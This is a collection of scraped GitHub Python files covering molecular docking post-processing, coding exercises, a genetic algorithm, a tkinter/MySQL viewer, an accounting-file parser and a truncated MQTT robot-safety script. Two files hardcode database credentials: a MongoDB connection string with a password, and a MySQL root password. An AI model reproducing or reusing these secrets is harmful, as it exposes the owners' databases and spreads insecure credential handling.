+{"seq_id":"37932646423","text":"import mdtraj\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport itertools\nimport os, sys\nfrom tqdm.notebook import tqdm\nimport simtk.openmm.app as app\nimport simtk.unit as u\nfrom copy import deepcopy\nfrom scipy.optimize import linear_sum_assignment as lsa\n\n# parameters\n_dir = f'/group/ag_cmb/scratch/sars-cov2/virtual_screening/'\nruns = ['enamine']\nreceptors_list = np.loadtxt(_dir + 'receptor_list_run3.txt', dtype=str)\n\n# set up basic receptor to get started with atomic indexing\nreceptor_base = mdtraj.load_pdb(_dir + f'structures/receptors_run3/{receptors_list[0]}.pdb')\nreceptor_base_noh = receptor_base.atom_slice(receptor_base.top.select('mass > 2'))\n\n\n# katarina's functions, minor TH edit\ndef generate_splitted_flex_files(flex_path, num_flex=5):\n    handles = []\n    fnames = []\n    for file_num in range(num_flex):\n        fname = flex_path.split('/')[-2] + '_' + flex_path.split('/')[-1][:-10] + str(file_num + 1) + '.pdb'\n        handles.append(open(fname, 'w'))\n        fnames.append(fname)\n    with open(flex_path) as f:\n        file_num = 0\n        for line in f:\n            handles[file_num % num_flex].write(line)\n            if line[0:6] == 'ENDMDL':\n                file_num += 1\n            if file_num == num_flex:  # first frame only\n                break\n\n    for file_num in range(num_flex):\n        handles[file_num].close()\n\n    return fnames\n\n\ndef load_flex_structure(flex_path, num_flex=5):\n    flex_residues = []\n    for file_num in range(num_flex):\n        flex_residues.append(mdtraj.load_pdb(flex_path.split('/')[-2] + '_' +\n                                             flex_path.split('/')[-1][:-10] +\n                                             str(file_num + 1) + '.pdb'))\n\n    flex_structure = flex_residues[0]\n    for file_num in range(1, num_flex):\n        flex_structure = flex_structure.stack(flex_residues[file_num])\n\n    return flex_structure\n\n\ndef remove_splitted_flex_files(flex_path, num_flex=5):\n    for file_num in range(num_flex):\n        os.remove(flex_path.split('/')[-2] + '_' +\n                  flex_path.split('/')[-1][:-10] +\n                  str(file_num + 1) + '.pdb')\n\n\n# Simon's function, TH edited\ndef match_atom_assignment(mol1, mol2, enforce_atype_match=True,\n                          penalty_weight=1000.):\n    \"\"\"\n    Arguments\n    --------\n    mol1 : mdtraj.core.trajectory.Trajectory - reference molecule\n    mol2 : mdtraj.core.trajectory.Trajectory -\n    enforce_atype_match : bool\n    penalty_weight : float\n\n    Returns\n    -------\n    (reference_permuation, minimal_error_permutation)\n        \n    \"\"\"\n    # Compute distance matrices\n    Dmat1 = np.sum(((mol1.xyz[0, ..., None] - mol1.xyz[0, ..., None].T)) ** 2., axis=1) ** (0.5)\n    Dmat2 = np.sum(((mol2.xyz[0, ..., None] - mol2.xyz[0, ..., None].T)) ** 2., axis=1) ** (0.5)\n\n    # Get Atom types\n    atypes1 = np.array([a.element.symbol for a in mol1.top.atoms])\n    atypes2 = np.array([a.element.symbol for a in mol2.top.atoms])\n\n    # compute atom type enforcement penalty\n    if enforce_atype_match:\n        atom_type_penalty = penalty_weight * (1 - (atypes1.reshape(-1, 1) == atypes2.reshape(1, -1)))\n    else:\n        atom_type_penalty = 0\n\n    # compute assignment cost matrix\n    C = np.sum(np.abs(Dmat1[..., None] - Dmat2[None, ...]), axis=1)\n\n    ref_perm, target_perm = lsa(C + atom_type_penalty)\n    return target_perm\n\n\n# smina selection of \"sidechains\" for the selected residue\n# it generally does not have hydrogens except for \n# trp HE1\n# lys hz1 hz2 hz3\n# gln he21 he22\n# it further includes CA and C, even though these are not moved (according to some\n# post by a person involved in programming this software)\n\n# selection string may cause problems in script (not ipynb)\nflexres_selection = '(sidechain or name C CA) and (mass > 2 or ((resname TRP and name HE1) or (resname LYS and name ' \\\n                    'HZ1 HZ2 HZ3) or  (resname GLN and name HE21 HE22))) and residue 44 45 180 183 206'\nflexres_atomidx = receptor_base.top.select(flexres_selection)\nflexres_elems = {\n    'C': receptor_base.top.select(flexres_selection + ' and element C'),\n    'O': receptor_base.top.select(flexres_selection + ' and element O'),\n    'N': receptor_base.top.select(flexres_selection + ' and element N'),\n    'H': receptor_base.top.select(flexres_selection + ' and element H')}\n\nelements = ['C', 'O', 'N', 'H']\n# additionally, smina changes atomic order.\n# manual assignment works only sometimes\n\nall_but_flexres_missing_hydros_selstr = '(mass < 2 and not ((resname TRP and name HE1) or (resname LYS and name HZ1 ' \\\n                                        'HZ2 HZ3) or (resname GLN and name HE21 HE22))) and residue 44 45 180 183 206' \\\n                                        ' and not name H HA'\n\n# this is updated in the for loop again (apo vs. drugbound structures are different)\nall_but_flexres_missing_hydros = np.setdiff1d(np.arange(receptor_base.n_atoms),\n                                              receptor_base.top.select(all_but_flexres_missing_hydros_selstr))\n\nn_missing_hydros = len(receptor_base.top.select(all_but_flexres_missing_hydros_selstr))\n\n# these hydrogens will be deleted and re-added by openMM\nfor n in range(receptor_base.n_atoms):\n    if n not in all_but_flexres_missing_hydros:\n        print(receptor_base.top.atom(n))\n\nfor d_run in tqdm(runs):\n    malfunctions = []\n    ligands_list = np.loadtxt(_dir + f'ligand_list_run{d_run}.txt',\n                              dtype=str)\n    for receptor_name in tqdm(receptors_list[:4]):\n        receptor_base = mdtraj.load_pdb(_dir + f'structures/receptors_run3/{receptor_name}.pdb')\n\n        all_but_flexres_missing_hydros = np.setdiff1d(np.arange(receptor_base.n_atoms),\n                                                      receptor_base.top.select(all_but_flexres_missing_hydros_selstr))\n\n        # for openMM hydrogen adding: define residue variants (only cystein bridges necessary)\n        cbridge_resids = np.array([155, 171, 182, 210, 26, 42]) - 1\n        res_variants = ['CYX' if (res.index in cbridge_resids) else None for res in receptor_base.top.residues]\n\n        for ligand in tqdm(ligands_list):\n            if os.path.exists(_dir + f'dockings_run{d_run}/{ligand}/{receptor_name}.pdbqt.pdb') and not os.path.exists(\n                    _dir + f'dockings_run{d_run}/{ligand}/{receptor_name}_docked2.pdb'):\n                try:\n                    pose = mdtraj.load_pdb(_dir + f'dockings_run{d_run}/{ligand}/{receptor_name}.pdbqt.pdb',\n                                           frame=0)\n\n                    flex_path = _dir + f'dockings_run{d_run}/{ligand}/{receptor_name}_flex.pdbqt.pdb'\n\n                    fnames = generate_splitted_flex_files(flex_path)\n                    flex_structure = load_flex_structure(flex_path)\n\n                    smina_elems = []\n                    for fname in fnames:\n                        with open(fname) as f:\n                            for line in f.readlines():\n                                if line.startswith(\"ATOM\"):\n                                    smina_elems.append(line[:-1].split()[-1])\n                    smina_elems = np.array(smina_elems)\n                    assert set(smina_elems) == set(elements)\n                    assert len(smina_elems) == flex_structure.n_atoms\n\n                    remove_splitted_flex_files(flex_path)\n\n                    assert flexres_atomidx.shape[0] == flex_structure.n_atoms\n\n                    receptor = deepcopy(receptor_base)\n                    n_atoms_orig = receptor.n_atoms\n\n                    # overwrite flexible residue coordinates\n                    for e in elements:\n                        # exclude atoms that have same coordinates, such as CA and C\n                        # otherwise VMD graphics are messed up (e.g. if CA is at CD position)\n\n                        # identify where the coordinates are the same\n                        same_rec, same_flex = np.where((receptor.xyz[0, flexres_elems[e]][..., np.newaxis] ==\n                                                        flex_structure.xyz[0, smina_elems == e][..., np.newaxis].T).all(\n                            1))\n                        # only overwrite the ones that are not the same within the same element\n                        receptor.xyz[0, flexres_elems[e][np.setdiff1d(np.arange(len(flexres_elems[e])), same_rec)]] = \\\n                        flex_structure.xyz[0, smina_elems == e][\n                            np.setdiff1d(np.arange(len(flexres_elems[e])), same_flex)]\n\n                    # hydrogen free version\n                    receptor_noh = receptor.atom_slice(receptor.top.select('mass > 2'))\n\n                    # fix atom assignments\n                    # all flexible residue atoms (noh)\n                    flexres_atomidx_noh = receptor_noh.top.select('residue 44 45 180 183 206')\n\n                    # find permutation by residue wise optimization\n                    # otherwise only minor flips can be recognized\n                    perm = []\n                    for resid in [44, 45, 180, 183, 206]:\n                        _flexres_atomidx_noh = receptor_noh.top.select(f'residue {resid}')\n                        mol1 = receptor_noh.atom_slice(_flexres_atomidx_noh)\n                        mol2 = receptor_base_noh.atom_slice(_flexres_atomidx_noh)\n                        p = match_atom_assignment(mol2, mol1, enforce_atype_match=True)\n\n                        perm += list(_flexres_atomidx_noh[p])\n                    perm = np.array(perm)\n\n                    # overwrite positions using found permutation\n                    receptor_noh.xyz[0, flexres_atomidx_noh] = receptor_noh.xyz[0, perm]\n\n                    # write into all-atom version:\n                    receptor.xyz[0, receptor.top.select('mass > 2')] = receptor_noh.xyz[0, :]\n\n                    # slice out missing sidechain hydrogens\n                    receptor_noflexH = receptor.atom_slice(all_but_flexres_missing_hydros)\n\n                    # fix missing sidechain hydrogens with openMM\n                    modeller = app.Modeller(receptor_noflexH.top.to_openmm(),\n                                            receptor_noflexH.xyz[0] * u.nanometer)\n\n                    # make sure cystein bridges stay intact\n                    modeller.addHydrogens(variants=res_variants)\n                    assert modeller.getTopology().getNumAtoms() == n_atoms_orig\n\n                    # write to disk\n                    # port back to openMM. overwrite existing positions because\n                    # openMM changes backbone hydrogen positions\n                    new_receptor = mdtraj.Trajectory(modeller.getPositions() / u.nanometer,\n                                                     mdtraj.Topology.from_openmm(modeller.getTopology()))\n                    new_receptor.xyz[0, all_but_flexres_missing_hydros] = receptor.xyz[\n                        0, all_but_flexres_missing_hydros]\n                    new_receptor.save_pdb(_dir + f'dockings_run{d_run}/{ligand}/{receptor_name}_receptor.pdb')\n\n                    # stack with top scoring docked pose\n                    receptor_ligand = new_receptor.stack(pose)\n                    receptor_ligand.save_pdb(_dir + f'dockings_run{d_run}/{ligand}/{receptor_name}_docked2.pdb')\n\n                    # save mdtraj converted pose (only pose)\n                    pose.save_pdb(_dir + f'dockings_run{d_run}/{ligand}/{receptor_name}_bestpose.pdb')\n\n                except IndexError:\n                    malfunctions.append(f'dockings_run{d_run}/{ligand}/{receptor_name}.pdbqt.pdb')\n\n    np.savetxt(_dir + f'run{d_run}/run{d_run}_failed.log', malfunctions, fmt='%s')\n","repo_name":"noegroup/tmprss2_structures","sub_path":"scripts/script3_smina_atomassign.py","file_name":"script3_smina_atomassign.py","file_ext":"py","file_size_in_byte":11630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"23872409328","text":"def fibonacci_iter(n):\r\n    fib = [0, 1]\r\n\r\n    i = 1\r\n    while i < n:\r\n        fib.append(fib[i] + fib[i - 1])\r\n        i += 1\r\n\r\n    return fib\r\n\r\n\r\ndef fibonacci_recursive(n, i=1, fib=[0, 1]):\r\n    if i >= n:\r\n        return fib\r\n    if i < n:\r\n        fib.append(fib[i] + fib[i - 1])\r\n        i += 1\r\n        return fibonacci_recursive(n, i, fib)\r\n\r\nprint(f'Ciąg fibonacciego iteracyjnie: {fibonacci_iter(6)}') # [0, 1, 1, 2, 3, 5, 8]\r\nprint(f'Ciąg fibonacciego rekurencyjnie: {fibonacci_recursive(6)}') # [0, 1, 1, 2, 3, 5, 8]","repo_name":"Mike920-dev/kolko_informatyczne","sub_path":"rekurencja/ciag_fibonacciego.py","file_name":"ciag_fibonacciego.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36808094779","text":"from pymongo.mongo_client import MongoClient\nfrom pymongo.server_api import ServerApi\n\ndef get_database():\n    CONNECTION_STRING=\"mongodb+srv://ylyma:s571xOIEkIAAInuc@listbot.eddoef3.mongodb.net/?retryWrites=true&w=majority\"\n    client = MongoClient(CONNECTION_STRING, server_api=ServerApi('1'))\n    return client['lists']\n\nif __name__ == \"__main__\":\n    dbname = get_database()\n","repo_name":"ylyma/listbot","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71778224831","text":"import heapq\n\nclass Solution:\n    def heap_select(self, nums, k):\n        kheap = nums[:k:]\n        heapq.heapify(kheap)\n        for x in nums[k+1:]:\n            if x > kheap[0]:\n                heapq.heapreplace(kheap, x)\n        return kheap[0]\n\n    def quick_select(self, nums, k):\n        #print(k, nums)\n        pivot = sorted(nums[:3])[1]\n        #print(pivot)\n        larges = [n for n in nums if n>pivot]\n        #print(larges)\n        if k<=len(larges):\n            return self.findKthLargest(larges, k)\n        smalls = [n for n in nums if n<=pivot]\n        return self.findKthLargest(smalls, k-len(larges))\n\n    def findKthLargest(self, nums: List[int], k: int) -> int:\n        if k == 1:\n            return max(nums)\n        elif k == len(nums):\n            return min(nums)\n        elif len(nums) < 10000:\n            return sorted(nums, reverse=True)[k-1]\n        elif k < 10000:\n            return self.heap_select(nums, k)\n        else:\n            return self.quick_select(nums, k)\n","repo_name":"choupi/puzzle","sub_path":"leetcode/p215.py","file_name":"p215.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11401690213","text":"import numpy as np\nfrom numpy import random\nfrom lib.evolutionary_computation.Solution import Solution\nfrom lib.evolutionary_computation.Solution import population_to_numpy\n\n\n\n\n\ndef initialize_population(problem,populationsize):\n    retpop = [ Solution(problem)  for i in range(populationsize)];\n    \n    for sol in retpop:\n        problem.initialize(sol);\n        problem.evaluate(sol);\n        \n    \n    return retpop\n\n\n\n\n\ndef uniform_crossover(pop1_variables,pop2_variables):\n    if ( not ( (pop1_variables.shape[0] == pop2_variables.shape[0]) and (pop1_variables.shape[1] == pop2_variables.shape[1]))):        \n        raise Exception(f\"The shape is wrong between ,{parent1.shape} and {parent2.shape}\")\n    \n    \n    random_variable = np.random.rand(pop1_variables.shape[0], pop1_variables.shape[1])\n    random_variable = np.where(random_variable > 0.5,1,0)\n    return  pop1_variables*random_variable + pop2_variables*(1-random_variable);\n\ndef flip_mutation(variable_ndarray,divisions,mutate_probability):\n    \n    change = random.randint(divisions, size =(variable_ndarray.shape[0], variable_ndarray.shape[1]))\n    \n    mutation_probability = np.random.rand(variable_ndarray.shape[0], variable_ndarray.shape[1])    \n    mutation_probability = np.where(mutation_probability < mutate_probability,1,0)\n    \n    mutate_rotation = mutation_probability*change    \n    variable = (variable_ndarray + mutate_rotation)%divisions\n    \n    return variable\n\n\n\ndef gen_offsprings(population:list):\n    \n    problem = population[0].problem\n    \n    ## parent selection\n    parent1 = population_to_numpy(population)    \n    parent2 = parent1.copy().T\n    random.shuffle(parent2)\n    parent2 = parent2.T\n    \n    \n    ## offspring generation: ndarray\n    offsprings_variables = uniform_crossover(parent1,parent2);    \n    offsprings_variables = flip_mutation(offsprings_variables,divisions = problem.divisions,mutate_probability = 1/problem.nVariables)\n    \n    offsprings = [];\n    \n    \n    ## ndarray to solution list\n    problem = population[0].problem\n    for variable in offsprings_variables:\n        sol = Solution(problem)\n        sol.variables = variable        \n        problem.evaluate(sol)\n        offsprings.append(sol)\n        \n    return offsprings\n        \n\ndef environmentalSelection(population,offspring):\n    unionpopulation = [];\n    unionpopulation.extend(population);\n    unionpopulation.extend(offspring);\n#    nondominatedSolution(unionpopulation);\n    unionpopulation=sorted(unionpopulation);\n    return unionpopulation[0:len(population)];\n\n\n\ndef exe_GA(problem):\n    popsize = 100\n    generations = 500\n        \n    poplations = initialize_population(problem,popsize);\n    \n    for gen in range(generations):\n        offsprings = gen_offsprings(poplations)\n        poplations = environmentalSelection(poplations,offsprings)\n        \n    \n    return poplations;    \n\nif __name__ ==\"__main__\":\n    print(\"dummy start\")","repo_name":"RyuichiHashimoto/2021_8_NFL","sub_path":"src/lib/evolutionary_computation/base/GA.py","file_name":"GA.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33998139517","text":"from tkinter import *\nfrom tkinter import ttk\nimport mysql.connector\nimport ttkbootstrap\n\nclass ResultPage:\n\tdef __init__(self,query, master, connection, user):\n\t\tself.cnx = mysql.connector.connect(host='localhost', database='defaultscheme',user='root',password='Ioana2503')\n\t\tself.cursor = self.cnx.cursor()\n\t\tself.query =query= (\"\"\"\nSELECT DISTINCT Products.SUPPORTID ,Products.SUPPORT, Products.CITY, Products.LOCATION_NAME, Products.PLACEMENT_NAME, Products.COST, Products.SPECIAL_COST\nFROM Products\nLEFT JOIN Orders\nON Products.SUPPORTID=Orders.SUPPORTID\n\nWHERE\n(((GREATEST(\"2021-11-11\",\"2021-11-10\") < Orders.StartDate OR LEAST(\"2021-11-11\",\"2021-11-10\") > Orders.EndDate) AND Orders.Status = \"RESERVED\") OR (Orders.StartDate IS NULL))\nAND\nProducts.COST BETWEEN 0 AND 69000\nAND\n Products.LOCATION_TYPE in ( \"MALL\" )\nAND\n Products.LOCATION_NAME in (\"PARK LAKE\")\nAND\n Products.PLACEMENT_TYPE in ( \"INDOOR\"  ,\"OUTDOOR\" )\nAND\n Products.DIGITAL_SUPPORT = \"YES\"\nAND\n Products.PRINT_SUPPORT = \"YES\"\n \"\"\")\n\t\tself.cursor.execute(query)\n\t\tself.lst = self.cursor.fetchall()\n\t\tself.cursor.close()\n\t\tself.cnx.close()\n\t\tself.root = Toplevel(master)\n\t\tself.root.title('test_output')\n\t\tself.root.geometry(\"1000x400\")\n\t\t\"\"\"# Add some style\nstyle = ttk.Style()\n#Pick a theme\nstyle.theme_use(\"default\")\n# Configure our treeview colors\n\nstyle.configure(\"Treeview\",\n\tbackground=\"#D3D3D3\",\n\tforeground=\"black\",\n\trowheight=25,\n\tfieldbackground=\"#D3D3D3\"\n\t)\n# Change selected color\nstyle.map('Treeview',\n\tbackground=[('selected', 'blue')])\n\"\"\"\n\t\t# Create Treeview Frame\n\t\tself.tree_frame = Frame(self.root)\n\t\tself.tree_frame.pack(pady=20)\n\n\t\t# Treeview Scrollbar\n\t\tself.tree_scroll = Scrollbar(self.tree_frame)\n\t\tself.tree_scroll.pack(side=RIGHT, fill=Y)\n\n\t\t# Create Treeview\n\t\tself.my_tree = ttk.Treeview(self.tree_frame, yscrollcommand=self.tree_scroll.set, selectmode=\"extended\")\n\t\t# Pack to the screen\n\t\tself.my_tree.pack()\n\n\t\t#Configure the scrollbar\n\t\tself.tree_scroll.config(command=self.my_tree.yview)\n\n\n\t\t# Define Our Columns\n\t\tself.my_tree['columns'] = (\"PRODUCTID\", \"NAME\", \"CITY\", \"LOCATION_NAME\",\"PLACEMENT_NAME\",\"COST\",\"SPECIAL_COST\")\n\n\t\t# Formate Our Columns\n\t\tself.my_tree.column(\"#0\", width=0, stretch=NO)\n\t\tself.my_tree.column(\"PRODUCTID\", anchor=CENTER, width=140)\n\t\tself.my_tree.column(\"NAME\", anchor=W, width=100)\n\t\tself.my_tree.column(\"CITY\", anchor=W, width=140)\n\t\tself.my_tree.column(\"LOCATION_NAME\", anchor=W, width=140)\n\t\tself.my_tree.column(\"PLACEMENT_NAME\", anchor=W, width=140)\n\t\tself.my_tree.column(\"COST\", anchor=W, width=140)\n\t\tself.my_tree.column(\"SPECIAL_COST\", anchor=W, width=140)\n\n\t\tself.my_tree.heading(\"#0\", text=\"\",anchor=W)\n\t\tself.my_tree.heading(\"PRODUCTID\", text=\"PRODUCTID\", anchor=CENTER)\n\t\tself.my_tree.heading(\"NAME\", text=\"NAME\", anchor=W)\n\t\tself.my_tree.heading(\"CITY\", text=\"CITY\", anchor=W)\n\t\tself.my_tree.heading(\"LOCATION_NAME\", text=\"LOCATION_NAME\", anchor=W)\n\t\tself.my_tree.heading(\"PLACEMENT_NAME\", text=\"PLACEMENT_NAME\", anchor=W)\n\t\tself.my_tree.heading(\"COST\", text=\"COST\", anchor=W)\n\t\tself.my_tree.heading(\"SPECIAL_COST\", text=\"SPECIAL_COST\", anchor=W)\n\n\t\t# Create striped row tags\n\t\tself.my_tree.tag_configure('oddrow', background=\"white\")\n\t\tself.my_tree.tag_configure('evenrow', background=\"lightblue\")\n\t\tself.count=0\n\t\tfor record in self.lst:\n\t\t\tif self.count % 2 == 0:\n\t\t\t\tself.my_tree.insert(parent='', index='end', iid=self.count, text=\"\", values=(record[0], record[1], record[2], record[3], record[4], record[5], record[6]), tags=('evenrow'))\n\t\t\telse:\n\t\t\t\tself.my_tree.insert(parent='', index='end', iid=self.count, text=\"\", values=(record[0], record[1], record[2], record[3], record[4], record[5], record[6]), tags=('oddrow'))\n\t\tself.count += 1\n\n","repo_name":"serbantasss/Side-Projects","sub_path":"BrandManagementINTERNSHIP/Main_Project_Python/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74358870910","text":"def writeUnderHundred (i):\n    if i == 0: return ''\n    if 9 < i < 20:\n        return tunit [i - 10]\n    return (tens [i//10] + \" \" + unit[i%10]).strip()\n    \n\ndef writeUnderThousand (i):\n    s = writeUnderHundred (i%100)\n    if i < 100:\n        return s.strip()\n    else:\n        return (str(unit[i//100]) + ' Hundred ' + s).strip()\n    \ndef writeWord (i):\n    s = writeUnderThousand (i%1000)\n    if i < 1000:\n        return s.strip()\n    k = writeUnderThousand((i%1000000)//1000)\n    if k != '':\n        s = k + ' Thousand ' + s\n    if i < 1000000:\n        return s.strip()\n    k = writeUnderThousand((i%1000000000)//1000000)\n    if k != '':\n        s =  k + ' Million ' + s\n    if i < 1000000000:\n        return s.strip()\n    k = writeUnderThousand((i%1000000000000)//1000000000)\n    if k != '':\n    \ts = k + ' Billion ' + s\n    if i < 1000000000000:\n    \treturn s.strip()\n    else:\n    \treturn unit[i//1000000000000] + ' Trillion ' + s\n\n\nunit = [ \"Zero\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \"Seven\", \"Eight\", \"Nine\"]\ntunit = [\"Ten\",\"Eleven\", \"Twelve\", \"Thirteen\", \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eighteen\", \"Nineteen\"]\ntens = ['', '', \"Twenty\", \"Thirty\", \"Forty\", \"Fifty\", \"Sixty\", \"Seventy\", \"Eighty\", \"Ninety\"]\n\n# T = int(input())\n# for t0 in range(T):\n#     n = int(input())\n\n#     print(writeWord(n))\n\nprint(writeWord(1000010000))","repo_name":"bharara/HackerRank","sub_path":"ProjectEuler/[NW] 17- Number letter counts.py","file_name":"[NW] 17- Number letter counts.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19640420464","text":"import pandas as pd\n\nfrom pad.converter.parser import ParserBase\n\n\nclass Pagament(ParserBase):\n    _file_name = 'PAGAMENT'\n    _spec = (\n        ('numero_empenho', 1, 13, str),\n        ('ano_empenho', 1, 5, int),\n        ('entidade_empenho', 6, 7, int),\n        ('empenho', 8, 13, int),\n        ('numero_pagamento', 14, 33, int),\n        ('data_pagamento', 34, 41, str),\n        ('valor_pagamento', 42, 54, str),\n        ('sinal_valor', 55, 55, str),\n        ('codigo_operacao', 176, 205, str),\n        ('conta_contabil_debito', 206, 225, str),\n        ('orgao_debito', 226, 227, int),\n        ('uniorcam_debito', 226, 229, int),\n        ('conta_contabil_credito', 230, 249, str),\n        ('orgao_credito', 250, 251, int),\n        ('uniorcam_credito', 250, 253, int),\n        ('historico_pagamento', 254, 653, str),\n        ('numero_liquidacao', 654, 673, int)\n    )\n\n    def __init__(self, logger, sources: list):\n        self._logger = logger\n        self._sources = sources\n\n    def _prepare(self):\n        self._data_pagamento()\n        self._valor_pagamento()\n        self._df['conta_contabil_debito'] = [el.lstrip('0') for el in self._df['conta_contabil_debito']]\n        self._df['conta_contabil_credito'] = [el.lstrip('0') for el in self._df['conta_contabil_credito']]\n\n    def _data_pagamento(self):\n        \"\"\"Converte DDMMAAAA para o formato de data do Pandas.\"\"\"\n        self._df['data_pagamento'] = pd.to_datetime(self._df['data_pagamento'], format='%d%m%Y', exact=True)\n\n    def _valor_pagamento(self):\n        \"\"\"Converte o valor em decimal e remove o sinal.\"\"\"\n        self._df['valor_pagamento'] = self._df['sinal_valor'] + self._df['valor_pagamento']\n        del self._df['sinal_valor']\n        self._df['valor_pagamento'] = pd.to_numeric(self._df['valor_pagamento'], downcast='integer')\n        self._df['valor_pagamento'] = round(self._df['valor_pagamento'] / 100, 2)\n","repo_name":"iddrs/pad-converter2","sub_path":"pad/converter/parser/pagament.py","file_name":"pagament.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74594522110","text":"from abc import ABCMeta, abstractmethod\nfrom enum import Enum\nfrom typing import Optional\n\nfrom grouper.entities.pagination import (\n    PaginatedList,\n    Pagination,\n    PermissionServiceAccountGrantSortKey,\n)\nfrom grouper.entities.permission import Permission\nfrom grouper.entities.permission_grant import ServiceAccountPermissionGrant\nfrom grouper.usecases.interfaces import PermissionInterface, UserInterface\n\nServiceAccountListType = PaginatedList[ServiceAccountPermissionGrant]\n\n\nclass ViewPermissionServiceAccountGrantsUI(metaclass=ABCMeta):\n    \"\"\"Abstract base class for UI for ListPermissions.\"\"\"\n\n    @abstractmethod\n    def viewed_permission(\n        self,\n        permission,  # type: Permission\n        grants,  # type: ServiceAccountListType\n    ):\n        # type: (...) -> None\n        pass\n\n    @abstractmethod\n    def view_permission_failed_not_found(self, name):\n        # type: (str) -> None\n        pass\n\n\nGrantType = Enum(\"GrantType\", \"Group ServiceAccount\")\n\n\nclass ViewPermissionServiceAccountGrants:\n    \"\"\"View a single permission.\"\"\"\n\n    def __init__(\n        self,\n        ui,  # type: ViewPermissionServiceAccountGrantsUI\n        permission_service,  # type: PermissionInterface\n        user_service,  # type: UserInterface\n    ):\n        # type: (...) -> None\n        self.ui = ui\n        self.permission_service = permission_service\n        self.user_service = user_service\n\n    def view_granted_permission(\n        self,\n        name,  # type: str\n        actor,  # type: str\n        pagination,  # type: Pagination[PermissionServiceAccountGrantSortKey]\n        argument=None,  # type: Optional[str]\n    ):\n        # type: (...) -> None\n\n        permission = self.permission_service.permission(name)\n        if not permission:\n            self.ui.view_permission_failed_not_found(name)\n            return\n\n        grants = self.permission_service.service_account_paginated_grants_for_permission(\n            name, pagination, argument\n        )\n\n        self.ui.viewed_permission(permission, grants)\n","repo_name":"dropbox/merou","sub_path":"grouper/usecases/view_permission_service_account_grants.py","file_name":"view_permission_service_account_grants.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"60"}
+{"seq_id":"24473815227","text":"import sys\nimport math\ninput = sys.stdin.readline\n\nif __name__ == '__main__':\n\n        N = int(input())\n        nums = []\n        for _ in range(N):\n                nums.append(int(input()))\n        nums.sort()\n        # 산술평균 - 소수점 이하 첫째 자리에서 반올림\n        print(round(sum(nums)/N))\n\n        # 중앙값\n        print(nums[N//2])\n\n        # 최빈값\n        counts = [0] * 8001\n\n        for i in range(N):\n                if nums[i] < 0:\n                        counts[abs(nums[i]) + 4000] += 1\n                elif nums[i] >= 0:\n                        counts[nums[i]] += 1\n        maxCount = max(counts)\n        # 최빈값이 여러 개면 두 번째로 작은 값 출력\n        modes = []\n        for i in range(len(counts)):\n                if counts[i] == maxCount:\n                        modes.append(i)\n\n        for i in range(len(modes)):\n                if modes[i] > 4000:\n                        modes[i] -= 4000\n                        modes[i] *= -1\n\n        modes.sort()\n        if len(modes) == 1:\n                print(modes[0])\n        else:\n                print(modes[1])\n\n        # 범위\n        print(max(nums) - min(nums))\n","repo_name":"6050/BOJ","sub_path":"2022/01/2108.py","file_name":"2108.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41187309708","text":"import base64\r\nimport numpy as np\r\nfrom robot.RosBridge import RosBridge\r\nimport json\r\nimport time\r\nimport threading\r\nimport random\r\nfrom math import cos, sin, sqrt, pi\r\n\r\nfrom MQTT_connect import MQQT_client\r\nfrom utilities.visualizer import Visualizer\r\n\r\nsocket_ip = \"192.168.0.100\"  # use external broker\r\nrosport = 9090\r\nrostopic_talk_pose = '/sp1_pose'\r\nrostopic_listen = '/sp1_pose_feedback_detail'\r\nrosmessage_type = 'std_msgs/String'\r\nrostopic_talk_dist = '/sp1_bb'\r\n\r\n# MQTT inits\r\nbroker_address = 'localhost'  # '192.168.0.9'\r\nbroker_port = 1883\r\ntopic_human = \"DataNea/HumanBB\"\r\n\r\n\r\nclass HumanRobotSafety:\r\n    def __init__(self, ros1, mode='none'):\r\n        \"\"\"Initialize HumanRobotSafety object.\"\"\"\r\n        self.running_mode = str(mode)  # 'dummy', 'modbus' or 'ur5_api'\r\n        self.human_main = None\r\n        self.arm1 = None\r\n        self.arm2 = None\r\n        self.keypoints = None\r\n        self.mode = mode\r\n        self.mqtt = MQQT_client()\r\n        self.mqtt.new_message.clear()\r\n        self.mqtt.connect(broker_address, broker_port)\r\n        self.mqtt.client.subscribe(topic_human)\r\n\r\n\r\n        if self.mode == 'ros':\r\n            self.ros_ = ros1\r\n            self.ros_.ros_new_message.clear()\r\n\r\n        self.v = Visualizer()\r\n\r\n    def pub(self, json_msg):\r\n        while True:\r\n            self.mqtt.client.publish(topic_human, json_msg)\r\n            time.sleep(0.25)\r\n\r\n    def get_human(self):\r\n        points = None\r\n        count = 0\r\n        mainbodyq = np.array([[-0.94415569, -0.8301664, 0.93842909], [-0.94415569, -0.6101664, 0.93842909],\r\n                              [-0.94415569, -0.8301664, -0.53208547], [-0.94415569, -0.6101664, -0.53208547],\r\n                              [-0.65473773, -0.8301664, 0.93842909], [-0.65473773, -0.6101664, 0.93842909],\r\n                              [-0.65473773, -0.8301664, -0.53208547], [-0.65473773, -0.6101664, -0.53208547]])\r\n        while True:\r\n            count = count + 1\r\n            mainbody = []\r\n            arm1 